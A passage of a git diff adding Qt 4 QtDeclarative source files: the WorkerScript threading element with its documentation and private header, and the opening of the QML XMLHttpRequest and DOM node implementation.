+ d->workerEngine = new QDeclarativeWorkerScriptEnginePrivate::ScriptEngine(d);
+
+ d->m_wait.wakeAll();
+
+ d->m_lock.unlock();
+
+ exec();
+
+ delete d->workerEngine; d->workerEngine = 0;
+}
+
+
+/*!
+ \qmlclass WorkerScript QDeclarativeWorkerScript
+ \ingroup qml-utility-elements
+ \brief The WorkerScript element enables the use of threads in QML.
+
+ Use WorkerScript to run operations in a new thread.
+ This is useful for running operations in the background so
+ that the main GUI thread is not blocked.
+
+ Messages can be passed between the new thread and the parent thread
+ using \l sendMessage() and the \l {WorkerScript::onMessage}{onMessage()} handler.
+
+ An example:
+
+ \snippet doc/src/snippets/declarative/workerscript.qml 0
+
+ The above worker script specifies a JavaScript file, "script.js", that handles
+ the operations to be performed in the new thread. Here is \c script.js:
+
+ \quotefile doc/src/snippets/declarative/script.js
+
+ When the user clicks anywhere within the rectangle, \c sendMessage() is
+ called, triggering the \tt WorkerScript.onMessage() handler in
+ \tt script.js. This in turn sends a reply message that is then received
+ by the \tt onMessage() handler of \tt myWorker.
+
+
+ \section3 Restrictions
+
+ Since the \c WorkerScript.onMessage() function is run in a separate thread, the
+ JavaScript file is evaluated in a context separate from the main QML engine. This means
+ that unlike an ordinary JavaScript file that is imported into QML, the \c script.js
+ in the above example cannot access the properties, methods or other attributes
+ of the QML item, nor can it access any context properties set on the QML object
+ through QDeclarativeContext.
+
+ Additionally, there are restrictions on the types of values that can be passed to and
+ from the worker script. See the sendMessage() documentation for details.
+
+ \sa {declarative/threading/workerscript}{WorkerScript example},
+ {declarative/threading/threadedlistmodel}{Threaded ListModel example}
+*/
+QDeclarativeWorkerScript::QDeclarativeWorkerScript(QObject *parent)
+: QObject(parent), m_engine(0), m_scriptId(-1), m_componentComplete(true)
+{
+}
+
+QDeclarativeWorkerScript::~QDeclarativeWorkerScript()
+{
+ if (m_scriptId != -1) m_engine->removeWorkerScript(m_scriptId);
+}
+
+/*!
+ \qmlproperty url WorkerScript::source
+
+ This holds the url of the JavaScript file that implements the
+ \tt WorkerScript.onMessage() handler for threaded operations.
+*/
+QUrl QDeclarativeWorkerScript::source() const
+{
+ return m_source;
+}
+
+void QDeclarativeWorkerScript::setSource(const QUrl &source)
+{
+ if (m_source == source)
+ return;
+
+ m_source = source;
+
+ if (engine())
+ m_engine->executeUrl(m_scriptId, m_source);
+
+ emit sourceChanged();
+}
+
+/*!
+ \qmlmethod WorkerScript::sendMessage(jsobject message)
+
+ Sends the given \a message to a worker script handler in another
+ thread. The other worker script handler can receive this message
+ through the onMessage() handler.
+
+ The \c message object may only contain values of the following
+ types:
+
+ \list
+ \o boolean, number, string
+ \o JavaScript objects and arrays
+ \o ListModel objects (any other type of QObject* is not allowed)
+ \endlist
+
+ All objects and arrays are copied to the \c message. With the exception
+ of ListModel objects, any modifications by the other thread to an object
+ passed in \c message will not be reflected in the original object.
+*/
+void QDeclarativeWorkerScript::sendMessage(const QScriptValue &message)
+{
+ if (!engine()) {
+ qWarning("QDeclarativeWorkerScript: Attempt to send message before WorkerScript establishment");
+ return;
+ }
+
+ m_engine->sendMessage(m_scriptId, QDeclarativeWorkerScriptEnginePrivate::scriptValueToVariant(message));
+}
+
+void QDeclarativeWorkerScript::classBegin()
+{
+ m_componentComplete = false;
+}
+
+QDeclarativeWorkerScriptEngine *QDeclarativeWorkerScript::engine()
+{
+ if (m_engine) return m_engine;
+ if (m_componentComplete) {
+ QDeclarativeEngine *engine = qmlEngine(this);
+ if (!engine) {
+ qWarning("QDeclarativeWorkerScript: engine() called without qmlEngine() set");
+ return 0;
+ }
+
+ m_engine = QDeclarativeEnginePrivate::get(engine)->getWorkerScriptEngine();
+ m_scriptId = m_engine->registerWorkerScript(this);
+
+ if (m_source.isValid())
+ m_engine->executeUrl(m_scriptId, m_source);
+
+ return m_engine;
+ }
+ return 0;
+}
+
+void QDeclarativeWorkerScript::componentComplete()
+{
+ m_componentComplete = true;
+ engine(); // Get it started now.
+}
+
+/*!
+ \qmlsignal WorkerScript::onMessage(jsobject msg)
+
+ This handler is called when a message \a msg is received from a worker
+ script in another thread through a call to sendMessage().
+*/
+
+bool QDeclarativeWorkerScript::event(QEvent *event)
+{
+ if (event->type() == (QEvent::Type)WorkerDataEvent::WorkerData) {
+ QDeclarativeEngine *engine = qmlEngine(this);
+ if (engine) {
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+ WorkerDataEvent *workerEvent = static_cast<WorkerDataEvent *>(event);
+ QScriptValue value =
+ QDeclarativeWorkerScriptEnginePrivate::variantToScriptValue(workerEvent->data(), scriptEngine);
+ emit message(value);
+ }
+ return true;
+ } else if (event->type() == (QEvent::Type)WorkerErrorEvent::WorkerError) {
+ WorkerErrorEvent *workerEvent = static_cast<WorkerErrorEvent *>(event);
+ QDeclarativeEnginePrivate::warning(qmlEngine(this), workerEvent->error());
+ return true;
+ } else {
+ return QObject::event(event);
+ }
+}
+
+QT_END_NAMESPACE
+
+#include <qdeclarativeworkerscript.moc>
+
diff --git a/src/declarative/qml/qdeclarativeworkerscript_p.h b/src/declarative/qml/qdeclarativeworkerscript_p.h
new file mode 100644
index 00000000..80482764
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeworkerscript_p.h
@@ -0,0 +1,129 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEWORKERSCRIPT_P_H
+#define QDECLARATIVEWORKERSCRIPT_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarative.h"
+#include "qdeclarativeparserstatus.h"
+
+#include <QtCore/qthread.h>
+#include <QtScript/qscriptvalue.h>
+#include <QtCore/qurl.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeWorkerScript;
+class QDeclarativeWorkerScriptEnginePrivate;
+class QDeclarativeWorkerScriptEngine : public QThread
+{
+Q_OBJECT
+public:
+ QDeclarativeWorkerScriptEngine(QDeclarativeEngine *parent = 0);
+ virtual ~QDeclarativeWorkerScriptEngine();
+
+ int registerWorkerScript(QDeclarativeWorkerScript *);
+ void removeWorkerScript(int);
+ void executeUrl(int, const QUrl &);
+ void sendMessage(int, const QVariant &);
+
+protected:
+ virtual void run();
+
+private:
+ QDeclarativeWorkerScriptEnginePrivate *d;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeWorkerScript : public QObject, public QDeclarativeParserStatus
+{
+ Q_OBJECT
+ Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged)
+
+ Q_INTERFACES(QDeclarativeParserStatus)
+public:
+ QDeclarativeWorkerScript(QObject *parent = 0);
+ virtual ~QDeclarativeWorkerScript();
+
+ QUrl source() const;
+ void setSource(const QUrl &);
+
+public slots:
+ void sendMessage(const QScriptValue &);
+
+signals:
+ void sourceChanged();
+ void message(const QScriptValue &messageObject);
+
+protected:
+ virtual void classBegin();
+ virtual void componentComplete();
+ virtual bool event(QEvent *);
+
+private:
+ QDeclarativeWorkerScriptEngine *engine();
+ QDeclarativeWorkerScriptEngine *m_engine;
+ int m_scriptId;
+ QUrl m_source;
+ bool m_componentComplete;
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeWorkerScript)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEWORKERSCRIPT_P_H
diff --git a/src/declarative/qml/qdeclarativexmlhttprequest.cpp b/src/declarative/qml/qdeclarativexmlhttprequest.cpp
new file mode 100644
index 00000000..3348a7d2
--- /dev/null
+++ b/src/declarative/qml/qdeclarativexmlhttprequest.cpp
@@ -0,0 +1,1740 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativexmlhttprequest_p.h"
+
+#include "qdeclarativeengine.h"
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativerefcount_p.h"
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativeexpression_p.h"
+#include "qdeclarativeglobal_p.h"
+
+#include <QtCore/qobject.h>
+#include <QtScript/qscriptvalue.h>
+#include <QtScript/qscriptcontext.h>
+#include <QtScript/qscriptengine.h>
+#include <QtNetwork/qnetworkreply.h>
+#include <QtCore/qtextcodec.h>
+#include <QtCore/qxmlstream.h>
+#include <QtCore/qstack.h>
+#include <QtCore/qdebug.h>
+
+#include <QtCore/QStringBuilder>
+
+#ifndef QT_NO_XMLSTREAMREADER
+
+// From DOM-Level-3-Core spec
+// http://www.w3.org/TR/DOM-Level-3-Core/core.html
+#define INDEX_SIZE_ERR 1
+#define DOMSTRING_SIZE_ERR 2
+#define HIERARCHY_REQUEST_ERR 3
+#define WRONG_DOCUMENT_ERR 4
+#define INVALID_CHARACTER_ERR 5
+#define NO_DATA_ALLOWED_ERR 6
+#define NO_MODIFICATION_ALLOWED_ERR 7
+#define NOT_FOUND_ERR 8
+#define NOT_SUPPORTED_ERR 9
+#define INUSE_ATTRIBUTE_ERR 10
+#define INVALID_STATE_ERR 11
+#define SYNTAX_ERR 12
+#define INVALID_MODIFICATION_ERR 13
+#define NAMESPACE_ERR 14
+#define INVALID_ACCESS_ERR 15
+#define VALIDATION_ERR 16
+#define TYPE_MISMATCH_ERR 17
+
+#define THROW_DOM(error, desc) \
+{ \
+ QScriptValue errorValue = context->throwError(QLatin1String(desc)); \
+ errorValue.setProperty(QLatin1String("code"), error); \
+ return errorValue; \
+}
+
+#define THROW_SYNTAX(desc) \
+ return context->throwError(QScriptContext::SyntaxError, QLatin1String(desc));
+#define THROW_REFERENCE(desc) \
+ return context->throwError(QScriptContext::ReferenceError, QLatin1String(desc));
+
+#define D(arg) (arg)->release()
+#define A(arg) (arg)->addref()
+
+QT_BEGIN_NAMESPACE
+
+DEFINE_BOOL_CONFIG_OPTION(xhrDump, QML_XHR_DUMP);
+
+class DocumentImpl;
+class NodeImpl
+{
+public:
+ NodeImpl() : type(Element), document(0), parent(0) {}
+ virtual ~NodeImpl() {
+ for (int ii = 0; ii < children.count(); ++ii)
+ delete children.at(ii);
+ for (int ii = 0; ii < attributes.count(); ++ii)
+ delete attributes.at(ii);
+ }
+
+ // These numbers are copied from the Node IDL definition
+ enum Type {
+ Attr = 2,
+ CDATA = 4,
+ Comment = 8,
+ Document = 9,
+ DocumentFragment = 11,
+ DocumentType = 10,
+ Element = 1,
+ Entity = 6,
+ EntityReference = 5,
+ Notation = 12,
+ ProcessingInstruction = 7,
+ Text = 3
+ };
+ Type type;
+
+ QString namespaceUri;
+ QString name;
+
+ QString data;
+
+ void addref();
+ void release();
+
+ DocumentImpl *document;
+ NodeImpl *parent;
+
+ QList<NodeImpl *> children;
+ QList<NodeImpl *> attributes;
+};
+
+class DocumentImpl : public QDeclarativeRefCount, public NodeImpl
+{
+public:
+ DocumentImpl() : root(0) { type = Document; }
+ virtual ~DocumentImpl() {
+ if (root) delete root;
+ }
+
+ QString version;
+ QString encoding;
+ bool isStandalone;
+
+ NodeImpl *root;
+
+ void addref() { QDeclarativeRefCount::addref(); }
+ void release() { QDeclarativeRefCount::release(); }
+};
+
+class NamedNodeMap
+{
+public:
+ // JS API
+ static QScriptValue length(QScriptContext *context, QScriptEngine *engine);
+
+ // C++ API
+ static QScriptValue prototype(QScriptEngine *);
+ static QScriptValue create(QScriptEngine *, NodeImpl *, QList<NodeImpl *> *);
+
+ NamedNodeMap();
+ NamedNodeMap(const NamedNodeMap &);
+ ~NamedNodeMap();
+ bool isNull();
+
+ NodeImpl *d;
+ QList<NodeImpl *> *list;
+private:
+ NamedNodeMap &operator=(const NamedNodeMap &);
+};
+
+class NamedNodeMapClass : public QScriptClass
+{
+public:
+ NamedNodeMapClass(QScriptEngine *engine) : QScriptClass(engine) {}
+
+ virtual QueryFlags queryProperty(const QScriptValue &object, const QScriptString &name, QueryFlags flags, uint *id);
+ virtual QScriptValue property(const QScriptValue &object, const QScriptString &name, uint id);
+};
+
+class NodeList
+{
+public:
+ // JS API
+ static QScriptValue length(QScriptContext *context, QScriptEngine *engine);
+
+ // C++ API
+ static QScriptValue prototype(QScriptEngine *);
+ static QScriptValue create(QScriptEngine *, NodeImpl *);
+
+ NodeList();
+ NodeList(const NodeList &);
+ ~NodeList();
+ bool isNull();
+
+ NodeImpl *d;
+private:
+ NodeList &operator=(const NodeList &);
+};
+
+class NodeListClass : public QScriptClass
+{
+public:
+ NodeListClass(QScriptEngine *engine) : QScriptClass(engine) {}
+ virtual QueryFlags queryProperty(const QScriptValue &object, const QScriptString &name, QueryFlags flags, uint *id);
+ virtual QScriptValue property(const QScriptValue &object, const QScriptString &name, uint id);
+};
+
+class Node
+{
+public:
+ // JS API
+ static QScriptValue nodeName(QScriptContext *context, QScriptEngine *engine);
+ static QScriptValue nodeValue(QScriptContext *context, QScriptEngine *engine);
+ static QScriptValue nodeType(QScriptContext *context, QScriptEngine *engine);
+
+ static QScriptValue parentNode(QScriptContext *context, QScriptEngine *engine);
+ static QScriptValue childNodes(QScriptContext *context, QScriptEngine *engine);
+ static QScriptValue firstChild(QScriptContext *context, QScriptEngine *engine);
+ static QScriptValue lastChild(QScriptContext *context, QScriptEngine *engine);
+ static QScriptValue previousSibling(QScriptContext *context, QScriptEngine *engine);
+ static QScriptValue nextSibling(QScriptContext *context, QScriptEngine *engine);
+ static QScriptValue attributes(QScriptContext *context, QScriptEngine *engine);
+
+ //static QScriptValue ownerDocument(QScriptContext *context, QScriptEngine *engine);
+ //static QScriptValue namespaceURI(QScriptContext *context, QScriptEngine *engine);
+ //static QScriptValue prefix(QScriptContext *context, QScriptEngine *engine);
+ //static QScriptValue localName(QScriptContext *context, QScriptEngine *engine);
+ //static QScriptValue baseURI(QScriptContext *context, QScriptEngine *engine);
+ //static QScriptValue textContent(QScriptContext *context, QScriptEngine *engine);
+
+ // C++ API
+ static QScriptValue prototype(QScriptEngine *);
+ static QScriptValue create(QScriptEngine *, NodeImpl *);
+
+ Node();
+ Node(const Node &o);
+ ~Node();
+ bool isNull() const;
+
+ NodeImpl *d;
+
+private:
+ Node &operator=(const Node &);
+};
+
+class Element : public Node
+{
+public:
+ // C++ API
+ static QScriptValue prototype(QScriptEngine *);
+};
+
+class Attr : public Node
+{
+public:
+ // JS API
+ static QScriptValue name(QScriptContext *context, QScriptEngine *engine);
+ static QScriptValue specified(QScriptContext *context, QScriptEngine *engine);
+ static QScriptValue value(QScriptContext *context, QScriptEngine *engine);
+ static QScriptValue ownerElement(QScriptContext *context, QScriptEngine *engine);
+ static QScriptValue schemaTypeInfo(QScriptContext *context, QScriptEngine *engine);
+ static QScriptValue isId(QScriptContext *context, QScriptEngine *engine);
+
+ // C++ API
+ static QScriptValue prototype(QScriptEngine *);
+};
+
+class CharacterData : public Node
+{
+public:
+ // JS API
+ static QScriptValue length(QScriptContext *context, QScriptEngine *engine);
+
+ // C++ API
+ static QScriptValue prototype(QScriptEngine *);
+};
+
+class Text : public CharacterData
+{
+public:
+ // JS API
+ static QScriptValue isElementContentWhitespace(QScriptContext *context, QScriptEngine *engine);
+ static QScriptValue wholeText(QScriptContext *context, QScriptEngine *engine);
+
+ // C++ API
+ static QScriptValue prototype(QScriptEngine *);
+};
+
+class CDATA : public Text
+{
+public:
+ // C++ API
+ static QScriptValue prototype(QScriptEngine *);
+};
+
+class Document : public Node
+{
+public:
+ // JS API
+ static QScriptValue xmlVersion(QScriptContext *context, QScriptEngine *engine);
+ static QScriptValue xmlEncoding(QScriptContext *context, QScriptEngine *engine);
+ static QScriptValue xmlStandalone(QScriptContext *context, QScriptEngine *engine);
+ static QScriptValue documentElement(QScriptContext *context, QScriptEngine *engine);
+
+ // C++ API
+ static QScriptValue prototype(QScriptEngine *);
+ static QScriptValue load(QScriptEngine *engine, const QByteArray &data);
+};
+
+QT_END_NAMESPACE
+
+Q_DECLARE_METATYPE(Node)
+Q_DECLARE_METATYPE(NodeList)
+Q_DECLARE_METATYPE(NamedNodeMap)
+
+QT_BEGIN_NAMESPACE
+
+void NodeImpl::addref()
+{
+ A(document);
+}
+
+void NodeImpl::release()
+{
+ D(document);
+}
+
+QScriptValue Node::nodeName(QScriptContext *context, QScriptEngine *engine)
+{
+ Node node = qscriptvalue_cast<Node>(context->thisObject());
+ if (node.isNull()) return engine->undefinedValue();
+
+ switch (node.d->type) {
+ case NodeImpl::Document:
+ return QScriptValue(QLatin1String("#document"));
+ case NodeImpl::CDATA:
+ return QScriptValue(QLatin1String("#cdata-section"));
+ case NodeImpl::Text:
+ return QScriptValue(QLatin1String("#text"));
+ default:
+ return QScriptValue(node.d->name);
+ }
+}
+
+QScriptValue Node::nodeValue(QScriptContext *context, QScriptEngine *engine)
+{
+ Node node = qscriptvalue_cast<Node>(context->thisObject());
+ if (node.isNull()) return engine->undefinedValue();
+
+ if (node.d->type == NodeImpl::Document ||
+ node.d->type == NodeImpl::DocumentFragment ||
+ node.d->type == NodeImpl::DocumentType ||
+ node.d->type == NodeImpl::Element ||
+ node.d->type == NodeImpl::Entity ||
+ node.d->type == NodeImpl::EntityReference ||
+ node.d->type == NodeImpl::Notation)
+ return engine->nullValue();
+
+ return QScriptValue(node.d->data);
+}
+
+QScriptValue Node::nodeType(QScriptContext *context, QScriptEngine *engine)
+{
+ Node node = qscriptvalue_cast<Node>(context->thisObject());
+ if (node.isNull()) return engine->undefinedValue();
+ return QScriptValue(node.d->type);
+}
+
+QScriptValue Node::parentNode(QScriptContext *context, QScriptEngine *engine)
+{
+ Node node = qscriptvalue_cast<Node>(context->thisObject());
+ if (node.isNull()) return engine->undefinedValue();
+
+ if (node.d->parent) return Node::create(engine, node.d->parent);
+ else return engine->nullValue();
+}
+
+QScriptValue Node::childNodes(QScriptContext *context, QScriptEngine *engine)
+{
+ Node node = qscriptvalue_cast<Node>(context->thisObject());
+ if (node.isNull()) return engine->undefinedValue();
+
+ return NodeList::create(engine, node.d);
+}
+
+QScriptValue Node::firstChild(QScriptContext *context, QScriptEngine *engine)
+{
+ Node node = qscriptvalue_cast<Node>(context->thisObject());
+ if (node.isNull()) return engine->undefinedValue();
+
+ if (node.d->children.isEmpty()) return engine->nullValue();
+ else return Node::create(engine, node.d->children.first());
+}
+
+QScriptValue Node::lastChild(QScriptContext *context, QScriptEngine *engine)
+{
+ Node node = qscriptvalue_cast<Node>(context->thisObject());
+ if (node.isNull()) return engine->undefinedValue();
+
+ if (node.d->children.isEmpty()) return engine->nullValue();
+ else return Node::create(engine, node.d->children.last());
+}
+
+QScriptValue Node::previousSibling(QScriptContext *context, QScriptEngine *engine)
+{
+ Node node = qscriptvalue_cast<Node>(context->thisObject());
+ if (node.isNull()) return engine->undefinedValue();
+
+ if (!node.d->parent) return engine->nullValue();
+
+ for (int ii = 0; ii < node.d->parent->children.count(); ++ii) {
+ if (node.d->parent->children.at(ii) == node.d) {
+ if (ii == 0) return engine->nullValue();
+ else return Node::create(engine, node.d->parent->children.at(ii - 1));
+ }
+ }
+
+ return engine->nullValue();
+}
+
+QScriptValue Node::nextSibling(QScriptContext *context, QScriptEngine *engine)
+{
+ Node node = qscriptvalue_cast<Node>(context->thisObject());
+ if (node.isNull()) return engine->undefinedValue();
+
+ if (!node.d->parent) return engine->nullValue();
+
+ for (int ii = 0; ii < node.d->parent->children.count(); ++ii) {
+ if (node.d->parent->children.at(ii) == node.d) {
+ if ((ii + 1) == node.d->parent->children.count()) return engine->nullValue();
+ else return Node::create(engine, node.d->parent->children.at(ii + 1));
+ }
+ }
+
+ return engine->nullValue();
+}
+
+QScriptValue Node::attributes(QScriptContext *context, QScriptEngine *engine)
+{
+ Node node = qscriptvalue_cast<Node>(context->thisObject());
+ if (node.isNull()) return engine->undefinedValue();
+
+ if (node.d->type != NodeImpl::Element)
+ return engine->nullValue();
+ else
+ return NamedNodeMap::create(engine, node.d, &node.d->attributes);
+}
+
+QScriptValue Node::prototype(QScriptEngine *engine)
+{
+ QScriptValue proto = engine->newObject();
+
+ proto.setProperty(QLatin1String("nodeName"), engine->newFunction(nodeName), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+ proto.setProperty(QLatin1String("nodeValue"), engine->newFunction(nodeValue), QScriptValue::ReadOnly | QScriptValue::PropertyGetter | QScriptValue::PropertySetter);
+ proto.setProperty(QLatin1String("nodeType"), engine->newFunction(nodeType), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+ proto.setProperty(QLatin1String("parentNode"), engine->newFunction(parentNode), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+ proto.setProperty(QLatin1String("childNodes"), engine->newFunction(childNodes), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+ proto.setProperty(QLatin1String("firstChild"), engine->newFunction(firstChild), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+ proto.setProperty(QLatin1String("lastChild"), engine->newFunction(lastChild), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+ proto.setProperty(QLatin1String("previousSibling"), engine->newFunction(previousSibling), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+ proto.setProperty(QLatin1String("nextSibling"), engine->newFunction(nextSibling), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+ proto.setProperty(QLatin1String("attributes"), engine->newFunction(attributes), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+
+ return proto;
+}
+
+QScriptValue Node::create(QScriptEngine *engine, NodeImpl *data)
+{
+ QScriptValue instance = engine->newObject();
+
+ switch (data->type) {
+ case NodeImpl::Attr:
+ instance.setPrototype(Attr::prototype(engine));
+ break;
+ case NodeImpl::Comment:
+ case NodeImpl::Document:
+ case NodeImpl::DocumentFragment:
+ case NodeImpl::DocumentType:
+ case NodeImpl::Entity:
+ case NodeImpl::EntityReference:
+ case NodeImpl::Notation:
+ case NodeImpl::ProcessingInstruction:
+ return QScriptValue();
+ case NodeImpl::CDATA:
+ instance.setPrototype(CDATA::prototype(engine));
+ break;
+ case NodeImpl::Text:
+ instance.setPrototype(Text::prototype(engine));
+ break;
+ case NodeImpl::Element:
+ instance.setPrototype(Element::prototype(engine));
+ break;
+ }
+
+ Node node;
+ node.d = data;
+ if (data) A(data);
+
+ return engine->newVariant(instance, QVariant::fromValue(node));
+}
+
+QScriptValue Element::prototype(QScriptEngine *engine)
+{
+ QScriptValue proto = engine->newObject();
+ proto.setPrototype(Node::prototype(engine));
+
+ proto.setProperty(QLatin1String("tagName"), engine->newFunction(nodeName), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+
+ return proto;
+}
+
+QScriptValue Attr::prototype(QScriptEngine *engine)
+{
+ QScriptValue proto = engine->newObject();
+ proto.setPrototype(Node::prototype(engine));
+
+ proto.setProperty(QLatin1String("name"), engine->newFunction(name), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+ proto.setProperty(QLatin1String("value"), engine->newFunction(value), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+ proto.setProperty(QLatin1String("ownerElement"), engine->newFunction(ownerElement), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+
+ return proto;
+}
+
+QScriptValue Attr::name(QScriptContext *context, QScriptEngine *engine)
+{
+ Node node = qscriptvalue_cast<Node>(context->thisObject());
+ if (node.isNull()) return engine->undefinedValue();
+
+ return QScriptValue(node.d->name);
+}
+
+QScriptValue Attr::value(QScriptContext *context, QScriptEngine *engine)
+{
+ Node node = qscriptvalue_cast<Node>(context->thisObject());
+ if (node.isNull()) return engine->undefinedValue();
+
+ return QScriptValue(node.d->data);
+}
+
+QScriptValue Attr::ownerElement(QScriptContext *context, QScriptEngine *engine)
+{
+ Node node = qscriptvalue_cast<Node>(context->thisObject());
+ if (node.isNull()) return engine->undefinedValue();
+
+ return Node::create(engine, node.d->parent);
+}
+
+QScriptValue CharacterData::length(QScriptContext *context, QScriptEngine *engine)
+{
+ Node node = qscriptvalue_cast<Node>(context->thisObject());
+ if (node.isNull()) return engine->undefinedValue();
+
+ return QScriptValue(node.d->data.length());
+}
+
+QScriptValue CharacterData::prototype(QScriptEngine *engine)
+{
+ QScriptValue proto = engine->newObject();
+ proto.setPrototype(Node::prototype(engine));
+
+ proto.setProperty(QLatin1String("data"), engine->newFunction(nodeValue), QScriptValue::ReadOnly | QScriptValue::PropertyGetter | QScriptValue::PropertySetter);
+ proto.setProperty(QLatin1String("length"), engine->newFunction(length), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+
+ return proto;
+}
+
+QScriptValue Text::isElementContentWhitespace(QScriptContext *context, QScriptEngine *engine)
+{
+ Node node = qscriptvalue_cast<Node>(context->thisObject());
+ if (node.isNull()) return engine->undefinedValue();
+
+ return node.d->data.trimmed().isEmpty();
+}
+
+QScriptValue Text::wholeText(QScriptContext *context, QScriptEngine *engine)
+{
+ Node node = qscriptvalue_cast<Node>(context->thisObject());
+ if (node.isNull()) return engine->undefinedValue();
+
+ return node.d->data;
+}
+
+QScriptValue Text::prototype(QScriptEngine *engine)
+{
+ QScriptValue proto = engine->newObject();
+ proto.setPrototype(CharacterData::prototype(engine));
+
+ proto.setProperty(QLatin1String("isElementContentWhitespace"), engine->newFunction(isElementContentWhitespace), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+ proto.setProperty(QLatin1String("wholeText"), engine->newFunction(wholeText), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+
+ return proto;
+}
+
+QScriptValue CDATA::prototype(QScriptEngine *engine)
+{
+ QScriptValue proto = engine->newObject();
+ proto.setPrototype(Text::prototype(engine));
+ return proto;
+}
+
+QScriptValue Document::prototype(QScriptEngine *engine)
+{
+ QScriptValue proto = engine->newObject();
+ proto.setPrototype(Node::prototype(engine));
+
+ proto.setProperty(QLatin1String("xmlVersion"), engine->newFunction(xmlVersion), QScriptValue::ReadOnly | QScriptValue::PropertyGetter | QScriptValue::PropertySetter);
+ proto.setProperty(QLatin1String("xmlEncoding"), engine->newFunction(xmlEncoding), QScriptValue::ReadOnly | QScriptValue::PropertyGetter | QScriptValue::PropertySetter);
+ proto.setProperty(QLatin1String("xmlStandalone"), engine->newFunction(xmlStandalone), QScriptValue::ReadOnly | QScriptValue::PropertyGetter | QScriptValue::PropertySetter);
+ proto.setProperty(QLatin1String("documentElement"), engine->newFunction(documentElement), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+
+ return proto;
+}
+
+QScriptValue Document::load(QScriptEngine *engine, const QByteArray &data)
+{
+ Q_ASSERT(engine);
+
+ DocumentImpl *document = 0;
+ QStack<NodeImpl *> nodeStack;
+
+ QXmlStreamReader reader(data);
+
+ while (!reader.atEnd()) {
+ switch (reader.readNext()) {
+ case QXmlStreamReader::NoToken:
+ break;
+ case QXmlStreamReader::Invalid:
+ break;
+ case QXmlStreamReader::StartDocument:
+ Q_ASSERT(!document);
+ document = new DocumentImpl;
+ document->document = document;
+ document->version = reader.documentVersion().toString();
+ document->encoding = reader.documentEncoding().toString();
+ document->isStandalone = reader.isStandaloneDocument();
+ break;
+ case QXmlStreamReader::EndDocument:
+ break;
+ case QXmlStreamReader::StartElement:
+ {
+ Q_ASSERT(document);
+ NodeImpl *node = new NodeImpl;
+ node->document = document;
